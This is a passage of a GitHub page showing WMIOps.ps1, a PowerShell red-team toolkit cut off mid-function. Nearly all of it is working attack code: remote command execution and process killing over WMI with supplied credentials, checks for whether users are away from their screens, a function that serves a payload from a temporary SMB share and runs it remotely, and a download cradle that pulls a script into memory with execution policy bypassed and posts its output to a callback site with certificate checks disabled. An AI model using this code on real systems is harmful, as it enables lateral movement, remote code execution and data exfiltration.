forked from RedSiege/WMIOps
-
Notifications
You must be signed in to change notification settings - Fork 0
/
WMIOps.ps1
2239 lines (1915 loc) · 84.7 KB
/
WMIOps.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#requires -version 2
<#
WMIOps v1.2
License: GPLv3
Author: @ChrisTruncer
#>
function Invoke-ExecCommandWMI
{
<#
.SYNOPSIS
This function is used to run a command/start a process on either the local or a remote machine. This requires local admin access wherever the command is to be executed.
.DESCRIPTION
This function is used to run a command/start a process on either the local or a remote machine. This can be used to simply ping a machine, run an executable, or run any command in the target's system path.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.PARAMETER Command
Specify the command that is executed on the targeted machine.
.EXAMPLE
> Invoke-ExecCommandWMI -Command ping -n 4 192.168.1.1
This pings the system at 192.168.1.1 with 4 ping requests from the local system
.EXAMPLE
> cat hostnames.txt | Invoke-ExecCommandWMI -Command notepad.exe -User Chris -Pass password
This command receives hostnames to target from the pipeline, authenticates to them, and starts notepad.exe
.LINK
https://github.com/xorrior/RandomPS-Scripts
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$Targets = ".",
[Parameter(Mandatory = $True)]
[string]$Command
)
Process
{
if($User -and $Pass)
{
# This block of code is executed when starting a process on a remote machine via wmi
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
Invoke-WmiMethod -class win32_process -name create -Argumentlist $Command -Credential $cred -Computername $computer
}
}
elseif(($Targets -ne ".") -and !$User)
{
# user didn't enter creds. Assume using local user priv has local admin access to Targets
# Thanks Evan for catching this
Foreach($computer in $TARGETS)
{
Invoke-WmiMethod -class win32_process -name create -Argumentlist $Command -Computername $computer
}
}
else
{
# If this area of code is invoked, it runs the command on the same machine the script is loaded
Invoke-WmiMethod -class win32_process -name create -Argumentlist $Command
}
}
end{}
}
function Invoke-KillProcessWMI
{
<#
.SYNOPSIS
This function is used to kill a process on either the local or a remote machine via a process name or ID. This requires local admin access wherever the command is to be executed.
.DESCRIPTION
This function is used to kill a process on either the local or a remote machine via a process name or ID. This requires local admin rights.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.PARAMETER ProcessName
Specify the name of the process that is to be killed on the targeted machine.
.PARAMETER ProcessID
Specify the process ID number that is to be killed on the targeted machine.
.EXAMPLE
> Invoke-WMIKillProcess -ProcessName notepad.exe
This kills all processes with the name notepad.exe on the local machine
.EXAMPLE
> Invoke-WMIKillProcess -ProcessID 2048 -User Chris -Pass password -Target chrispc
This command authenticates to chrispc and and attempts to kill the process with pid 2048.
.LINK
https://github.com/xorrior/RandomPS-Scripts
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ParameterSetName='name')]
[string]$ProcessName,
[Parameter(Mandatory = $False, ParameterSetName='id')]
[string]$ProcessID,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = "."
)
Process
{
if($User -and $Pass)
{
# This block of code is executed when starting a process on a remote machine via wmi
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
if($ProcessName)
{
ForEach($computer in $TARGETS)
{
Write-Verbose "Killing process via process name"
Get-WmiObject -Class win32_Process -Credential $cred -Computername $computer -Filter "name = '$ProcessName'" | ForEach-Object { $_.Terminate() }
}
}
elseif($ProcessID)
{
ForEach($computer in $TARGETS)
{
Write-Verbose "Killing process via process ID"
Get-WmiObject -Class win32_Process -Credential $cred -Computername $computer -Filter "ProcessID = '$ProcessID'" | ForEach-Object { $_.Terminate() }
}
}
else
{
Write-Verbose "You didn't provide a valid action to take! This script uses processid or processname!"
}
}
elseif(($Targets -ne ".") -and !$User)
{
if($ProcessName)
{
Get-WmiObject -Class win32_Process -Computername $computer -Filter "name = '$ProcessName'" | ForEach-Object { $_.Terminate() }
}
elseif($ProcessID)
{
Get-WmiObject -Class win32_Process -Computername $computer -Filter "ProcessID = '$ProcessID'" | ForEach-Object { $_.Terminate() }
}
else
{
Write-Verbose "You didn't provide a valid action to take! This script uses processid or processname!"
}
}
else
{
if($ProcessName)
{
Get-WmiObject -Class win32_Process -Filter "name = '$ProcessName'" | ForEach-Object { $_.Terminate() }
}
elseif($ProcessID)
{
Get-WmiObject -Class win32_Process -Filter "ProcessID = '$ProcessID'" | ForEach-Object { $_.Terminate() }
}
else
{
Write-Verbose "You didn't provide a valid action to take! This script uses processid or processname!"
}
}
}
end{}
}
function Get-RunningProcessesWMI
{
<#
.SYNOPSIS
This function is used to get a list of all processes running on a local or remote system.
.DESCRIPTION
This function is used to obtain a list of all running processes on a local or a remote machine. This requires local admin rights.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.EXAMPLE
> Get-RunningProcesses -User Chris -Pass password -Targets win7workstation
This attempts to authenticate to win7workstation with the Chris account and password to get a list of running processes.
.EXAMPLE
> Get-RunningProcesses
This will obtain a list of running processes from the local machine.
.Example
> Get-RunningProcesses -Targets win7workstation
This will attempt to authenticate to the win7workstation machine with the current account to obtain a list of running processes.
.LINK
http://blogs.technet.com/b/heyscriptingguy/archive/2009/12/10/hey-scripting-guy-december-10-2009.aspx
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = "."
)
Process
{
if($User -and $Pass)
{
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
Write-Verbose "Connecting to $computer"
Get-WMIObject Win32_Process -Credential $cred -computername $computer | ForEach-Object { $_.ProcessName } | Sort-Object | Get-Unique
}
}
elseif(($Targets -ne ".") -and !$User)
{
Foreach($computer in $TARGETS)
{
Write-Verbose "Connecting to $computer"
Get-WMIObject Win32_Process -computername $computer | ForEach-Object { $_.ProcessName } | Sort-Object | Get-Unique
}
}
else
{
Write-Verbose "Checking local system..."
Get-WMIObject Win32_Process | ForEach-Object { $_.ProcessName } | Sort-Object | Get-Unique
}
}
}
function Get-ProcessOwnersWMI
{
<#
.SYNOPSIS
This function is used to get a list of all users that have running processes on a local or remote system.
.DESCRIPTION
This function is used to get a list of all users that have running processes on a local or remote system. This requires local admin rights.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.EXAMPLE
> Get-ProcessOwners -User Chris -Pass password -Targets win7workstation
This attempts to authenticate to win7workstation with the Chris account and password to get a list of user accounts which have running processes on the remote machine.
.EXAMPLE
> Get-ProcessOwners
This will obtain a list of user accounts which have running processes on the local machine.
.Example
> Get-ProcessOwners -Targets win7workstation
This will attempt to authenticate to the win7workstation machine with the current account to obtain a list of user accounts which have running processes on the remote machine.
.LINK
http://blogs.technet.com/b/heyscriptingguy/archive/2009/12/10/hey-scripting-guy-december-10-2009.aspx
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = "."
)
Process
{
if($User -and $Pass)
{
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
Write-Verbose "Connecting to $computer"{$_.getowner().user}
Get-WMIObject Win32_Process -Credential $cred -computername $computer | ForEach { $owner = $_.GetOwner(); '{0}\{1}' -f $owner.Domain, $owner.User } | Sort-Object | Get-Unique
}
}
elseif(($Targets -ne ".") -and !$User)
{
Foreach($computer in $TARGETS)
{
Write-Verbose "Connecting to $computer"
Get-WMIObject Win32_Process -computername $computer | ForEach { $owner = $_.GetOwner(); '{0}\{1}' -f $owner.Domain, $owner.User } | Sort-Object | Get-Unique
}
}
else
{
Write-Verbose "Checking local system..."
Get-WMIObject Win32_Process | ForEach { $owner = $_.GetOwner(); '{0}\{1}' -f $owner.Domain, $owner.User } | Sort-Object | Get-Unique
}
}
}
function Find-ActiveUsersWMI
{
<#
.SYNOPSIS
This function is used to determine if a user is actively at the targeted workstation or server.
.DESCRIPTION
This function is used to determine if a user is actively at the targeted workstation or server. It looks to see if LogonUi.exe or a .scr (screensaver) process is running on the targeted machine. This requires local admin rights.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER Away
Checks if screen is locked or screen saver is active.
.PARAMETER Empty
Checks if user is logged into system at all.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.PARAMETER Usernames
Enumerate usernames that are active on the system
.EXAMPLE
> Find-ActiveUsersWMI -User Chris -Pass password -Targets win7workstation -Empty
This attempts to authenticate to win7workstation with the Chris account and password to see if a user is logged into the system at all.
.EXAMPLE
> Get-Content C:\ips.txt | Find-ActiveUsersWMI -Away
This will read in IPs, pass them into ActiveUsers, and then see if the user is away (by screensaver detection or locked screen).
.Example
> Query-UsersActive -Targets win7workstation -Empty -Away
This will attempt to authenticate to the win7workstation machine with the current account to see if the computer is locked, or screen saver is active. It will also see if a user is logged into the system at all.
.LINK
http://www.activxperts.com/admin/scripts/wmi/powershell/0388/
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = ".",
[Parameter(Mandatory = $False)]
[switch]$Away,
[Parameter(Mandatory = $False)]
[switch]$Empty,
[Parameter(Mandatory = $False)]
[switch]$Usernames
)
# Thanks to Evan Pena for helping to get this added with username enumeration and troubleshooting
Process
{
if($User -and $Pass)
{
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
# Need to add in filtering here to stop if a "true" has been found for screensavers being active
Write-Verbose "Connecting to $computer"
if($Away)
{
$all_processes = Get-RunningProcessesWMI -User $User -Pass $Pass -Targets $computer
$ScreenshotActive = $all_processes | Select-String ".scr"
$LoginPrompt = $all_processes | Select-String "LogonUI.exe"
# If either returned true, we can assume the user is not active at their desktop
if ($ScreenshotActive -or $LoginPrompt)
{
Write-Output "User is not present at $computer!"
}
else
{
Write-Output "User is at present at $computer!"
}
}
if($Empty)
{
try
{
$user = $null
$user = Get-WmiObject -Class win32_computersystem -ComputerName $computer -Credential $cred -ErrorAction Stop | select -ExpandProperty username
}
catch
{
$message = $_.Exception.Message
if($message -like '*not process argument because*')
{
$computer
}
elseif($message -like '*RPC server is unavailable*')
{
Write-Verbose "Cannot connect to $computer"
}
}
}
if($Usernames)
{
$user = $null
try
{
$user = Get-WmiObject -Class win32_computersystem -ComputerName $computer -Credential $cred -ErrorAction Stop | select -ExpandProperty username
$user
}
catch
{
# This is used to just catch the exception and ignore it, since I only care about live users
}
$system_process_accounts = Get-ProcessOwnersWMI -User $User -Pass $Pass -Targets $computer
foreach($user_name in $system_process_accounts) { if((!($user_name -Like "*NT AUTHORITY*")) -and ($user_name -ne '\')) { "$user_name is active on $computer" } }
}
}
}
elseif(($Targets -ne ".") -and !$User)
{
Foreach($computer in $TARGETS)
{
# Need to add in filtering here to stop if a "true" has been found for screensavers being active
Write-Verbose "Connecting to $computer"
if($Away)
{
$all_processes = Get-RunningProcessesWMI -User $User -Pass $Pass -Targets $computer
$ScreenshotActive = $all_processes | Select-String ".scr"
$LoginPrompt = $all_processes | Select-String "LogonUI.exe"
# If either returned true, we can assume the user is not active at their desktop
if ($ScreenshotActive -or $LoginPrompt)
{
Write-Output "User is not present at $computer!"
}
else
{
Write-Output "User is at present at $computer!"
}
}
if($Empty)
{
try
{
$user = $null
$user = Get-WmiObject -Class win32_computersystem -ComputerName $computer -ErrorAction Stop | select -ExpandProperty username
}
catch
{
$message = $_.Exception.Message
if($message -like '*not process argument because*')
{
$computer
}
elseif($message -like '*RPC server is unavailable*')
{
Write-Verbose "Cannot connect to $computer"
}
}
}
if($Usernames)
{
$user = $null
try
{
$user = Get-WmiObject -Class win32_computersystem -ComputerName $computer -ErrorAction Stop | select -ExpandProperty username
$user
}
catch
{
# This is used to just catch the exception and ignore it, since I only care about live users
}
$system_process_accounts = Get-ProcessOwnersWMI -User $User -Pass $Pass -Targets $computer
foreach($user_name in $system_process_accounts) { if((!($user_name -Like "*NT AUTHORITY*")) -and ($user_name -ne '\')) { "$user_name is active on $computer" } }
}
}
}
else
{
# Need to add in filtering here to stop if a "true" has been found for screensavers being active
Write-Verbose "Connecting to $computer"
if($Away)
{
$all_processes = Get-RunningProcessesWMI
$ScreenshotActive = $all_processes | Select-String ".scr"
$LoginPrompt = $all_processes | Select-String "LogonUI.exe"
# If either returned true, we can assume the user is not active at their desktop
if ($ScreenshotActive -or $LoginPrompt)
{
Write-Output "User is not present at $computer!"
}
else
{
Write-Output "User is at present at $computer!"
}
}
if($Empty)
{
try
{
$user = $null
$user = Get-WmiObject -Class win32_computersystem -ErrorAction Stop | select -ExpandProperty username
}
catch
{
$message = $_.Exception.Message
if($message -like '*not process argument because*')
{
$computer
}
elseif($message -like '*RPC server is unavailable*')
{
Write-Verbose "Cannot connect to $computer"
}
}
}
if($Usernames)
{
$user = $null
try
{
$user = Get-WmiObject -Class win32_computersystem -ErrorAction Stop | select -ExpandProperty username
$user
}
catch
{
# This is used to just catch the exception and ignore it, since I only care about live users
}
$system_process_accounts = Get-ProcessOwnersWMI -User $User -Pass $Pass -Targets $computer
foreach($user_name in $system_process_accounts) { if((!($user_name -Like "*NT AUTHORITY*")) -and ($user_name -ne '\')) { "$user_name is active on this system!" } }
}
}
}
}
function Invoke-CreateShareandExecute
{
<#
.SYNOPSIS
This function is uses WMI and SMB to run a file on a remote system without dropping it to disk.
.DESCRIPTION
This function will need to be run from an elevated command prompt. It creates a share on your local system and copies the file you want to run into the share. After permissions have been set for "Everyone" to access, the function uses WMI to net use the share and run the file. After it's been executed, the function removes the share.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.PARAMETER PayloadPath
The path to the executbale you want run on a remote system.
.PARAMETER SharePath
The path to the directory that will be setup as a share.
.EXAMPLE
> Invoke-CreateShareandExecute -User Chris -Pass password -Targets win7workstation -SharePath C:\Users\test1\Desktop\test -PayloadPath C:\runme.exe
This command will copy runme.exe into the sharepath provided, setup a share and modify permissions so the runme.exe can be executed remotely. The function then uses WMI to net use the share with the credentials provided and then run the runme.exe file. Upon execution, the file copied into the share is deleted and the share is removed.
.Example
> Invoke-CreateShareandExecute -Targets win7workstation -SharePath C:\Users\test1\Desktop\apple -PayloadPath C:\run.bat
This command will copy runme.exe into the sharepath provided, setup a share and modify permissions so the runme.exe can be executed remotely. The function then uses WMI to net use the share within the context of the current user and then run the runme.exe file. Upon execution, the file copied into the share is deleted and the share is removed.
.LINK
http://windowsitpro.com/powershell/managing-file-shares-windows-powershell
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = ".",
[Parameter(Mandatory = $True)]
[string]$PayloadPath,
[Parameter(Mandatory = $True)]
[string]$SharePath
)
Process
{
if($User -and $Pass)
{
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
# First, check to make sure path exists that user wants to share
$SharePathExists = Test-Path $SharePath
if (!$SharePathExists)
{
Write-Verbose "Directory that you want to share does not exist!"
Return
}
# Check if file already exists at share location
$Delimeter = "\\"
$PayloadName = $PayloadPath.Split($Delimeter)[-1]
$SharePayloadPath = Join-Path $SharePath $PayloadName
$SharePayloadExists = Test-Path $SharePayloadPath
# If payload is not in share location, copy it there
if ($SharePayloadExists -eq $FALSE)
{
Copy-Item $PayloadPath $SharePath
}
# Set permissions on the folder itself
$acl = Get-Acl $SharePath
$mod = New-Object system.security.accesscontrol.filesystemaccessrule("Everyone", "ReadAndExecute", "Allow")
$acl.SetAccessRule($mod)
Set-Acl $SharePath $acl
# Set Permissions on payload in share directory
$fileacl = Get-Acl $SharePayloadPath
$filemod = New-Object system.security.accesscontrol.filesystemaccessrule("Everyone", "ReadAndExecute", "Allow")
$fileacl.SetAccessRule($filemod)
Set-Acl $SharePayloadPath $fileacl
# Set the permissions for the share (currently read only, but can be changed by modifying one line)
$trustee = ([wmiclass]'Win32_trustee').psbase.CreateInstance()
$trustee.Domain = ""
$trustee.Name = ""
$fullcontrol = 2032127
$read = 1179785
$ace = ([wmiclass]'Win32_ACE').psbase.CreateInstance()
$ace.AccessMask = $read
$ace.AceFlags = 3
$ace.AceType = 0
$ace.Trustee = $trustee
$sd = ([wmiclass]'Win32_SecurityDescriptor').psbase.CreateInstance()
$sd.ControlFlags = 4
$sd.DACL = $ace
$sd.group = $trustee
$sd.owner = $trustee
# Create the share
(Get-WmiObject Win32_share -List).Create($SharePath, "SystemShare", 0, 2, "", "", $sd)
$SystemHostname = Get-WMIObject Win32_ComputerSystem | Select-Object -ExpandProperty name
$ExecFullCommand = "cmd.exe /C ""net use v: \\" + $SystemHostname + "\SystemShare /user:$user $Pass & \\" + $SystemHostname + "\SystemShare\" + $PayloadName + """"
# http://stackoverflow.com/questions/14345972/powershell-invoke-wmimethod-to-create-a-sharefolder-remotely-with-full-control/14346750#14346750
Write-Verbose "Executing the payload via WMI on remote system..."
Invoke-ExecCommandWMI -User $User -Pass $Pass -Targets $computer -Command $ExecFullCommand
Write-Verbose "Sleeping for 7 seconds to let command execute..."
Start-Sleep -s 7
Write-Verbose "Removing the share that was created"
if ($share = Get-WmiObject -Class Win32_Share -ComputerName $SystemHostname -Filter "Name='SystemShare'") `
{ $share.delete() }
Write-Verbose "Removing backdoor from old share"
Remove-Item $SharePayloadPath
Write-Verbose "Done!"
}
}
else
{
Write-Verbose "You didn't provide a username or password to connect to a remote system!"
}
}
}
function Invoke-RemoteScriptWithOutput
{
<#
.SYNOPSIS
This function will use wmi to invoke powershell, download a powershell script in memory, and post its output back to a system you specify.
.DESCRIPTION
This function will use wmi to invoke powershell, download a powershell script in memory, and post its output back to a system you specify. You will want to use the included https server (python).
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.PARAMETER URL
The URL to the powershell script that will be downloaded and run.
.PARAMETER Function
The function name that should run on the remote system.
.PARAMETER CallbackSite
The IP or domain to post the results back to.
.EXAMPLE
> Invoke-RemoteScriptWithOutput -User Chris -Pass password -Targets win7workstation -Url https://raw.githubusercontent.com/ChrisTruncer/WMIOps/master/WMIOps.ps1 -Function Invoke-ExecCommandWMI -CallbackSite www.callbackdomain.com
This command downloads the WMIOps powershell script, runs the invoke-execcommandwmi function, and posts the output back to the specified domain (where the python server is running)
.LINK
http://blogs.technet.com/b/heyscriptingguy/archive/2009/12/10/hey-scripting-guy-december-10-2009.aspx
https://github.com/PowerShellEmpire/PowerTools/blob/master/PewPewPew/Invoke-MassMimikatz.ps1
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = ".",
[Parameter(Mandatory = $False)]
[string]$Url,
[Parameter(Mandatory = $False)]
[string]$Function,
[Parameter(Mandatory = $False)]
[string]$CallbackSite
)
Process
{
if($User -and $Pass)
{
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
Write-Verbose "Connecting to $computer"
[Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$Command = 'powershell -nop -exec bypass -c "$wc = New-Object System.Net.Webclient; $wc.Headers.Add(''User-Agent'',''Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko''); $wc.proxy=[System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials; Invoke-Expression ($wc.downloadstring('
$Command += "'$Url'"
$Command += ')); $output = '
$Command += "$Function;"
$Command += '$postback = '
$Command += "'https://$CallbackSite/testpost.php';"
$Command += '$uri = New-Object -TypeName System.Uri -ArgumentList $postback; $finaloutput = Out-String -InputObject $output; [Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; $wcc = New-Object -TypeName System.Net.WebClient; $wcc.UploadString($uri, $finaloutput)'
Write-Verbose "Running command on remote system..."
Invoke-WmiMethod -class win32_process -name create -Argumentlist $Command -Credential $cred -Computername $Targets
Write-Verbose "Command running!"
}
}
}
}
function Find-UserSpecifiedFileWMI
{
<#
.SYNOPSIS
This function uses wmi to search for files on the target system.
.DESCRIPTION
This function uses wmi to search for files on the target system. The user can provide a file, or an extension, and this will search the specified drive for the file or all files with the provided extension.
.PARAMETER User
Specify a username. Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
.PARAMETER Drive
The drive to search. Ex: C:
.PARAMETER Extension
The file extension to search for, can use wildcards.
.PARAMETER File
The file to search for, can use wildcards.
.EXAMPLE
> Search-UserSpecifiedFile -User Chris -Pass password -Targets win7workstation -Drive C: -File *est.txt
This command will search the win7workstation's C drive for any file matching the wildcard *est.txt
.Example
> Search-UserSpecifiedFile -Targets win7workstation -Drive C: -Extension sql
This command will use the current user's credentials to search the C drive of the win7workstation for all files with a "sql" extension.
.LINK
http://powershell.org/wp/2013/01/29/find-files-with-wmi-and-powershell/
#>
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[string]$User,
[Parameter(Mandatory = $False)]
[string]$Pass,
[Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
[string[]]$TARGETS = ".",
[Parameter(Mandatory = $True)]
[string]$Drive,
[Parameter(Mandatory = $False, ParameterSetName='extension')]
[string[]]$Extension,
[Parameter(Mandatory = $False, ParameterSetName='filename')]
[string[]]$File
)
process
{
# Check length of drive, only want first two characters
if($Drive.length -gt 2)
{
$Drive = $Drive.substring(0,2)
}
elseif($Drive.length -lt 2)
{
Throw "Drive needs two character EX: C:"
}
if(($User -and $Pass) -and ($Targets -ne "."))
{
# This block of code is executed when starting a process on a remote machine via wmi
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
Foreach($computer in $TARGETS)
{
if($File)
{
$counter = 0
$filter = "Filename"
foreach($incoming_file in $File)
{
if($counter -gt 0)
{
$filter += "OR Filename"
}
if($incoming_file.Contains("."))
{
#get the index of the last .
$index = $incoming_file.LastIndexOf(".")
#get the first part of the name
$filename = $incoming_file.Substring(0,$index)
#get the last part of the name
$extension = $incoming_file.Substring($index+1)
if($filename -match "\*")
{
$filename = $filename.Replace("*","%")
$filter += " LIKE '$filename' "
}
else
{
$filter += " = '$filename' "
}
if ($extension -match "\*")
{
$extension = $extension.Replace("*","%")
$filter += "AND Extension LIKE '$extension' "
}
else
{
$filter += "AND Extension = '$extension' "
}
}
else
{
if($incoming_file -match "\*")
{
$filename = $incoming_file.Replace("*","%")
$filter += " LIKE '$filename' "
}
else
{
$filter += " = '$incoming_file' "
}
}
$counter += 1
}
}
else
{
$counter = 0
$filter = "Extension"
foreach($ext in $extension)
{
if($counter -gt 0)
{
$filter += "OR Extension"
}
if ($ext -match "\*")
{
$ext = $ext.Replace("*","%")
$filter += " LIKE '$ext' "
}
else
{
$filter += " = '$ext' "
}
$counter += 1
}
}
}
$filter += "AND Drive='$drive'"
Get-WmiObject -Class cim_datafile -filter $filter -ComputerName $computer -Credential $cred
}
elseif(($Targets -ne ".") -and !$User)
{
Foreach($computer in $TARGETS)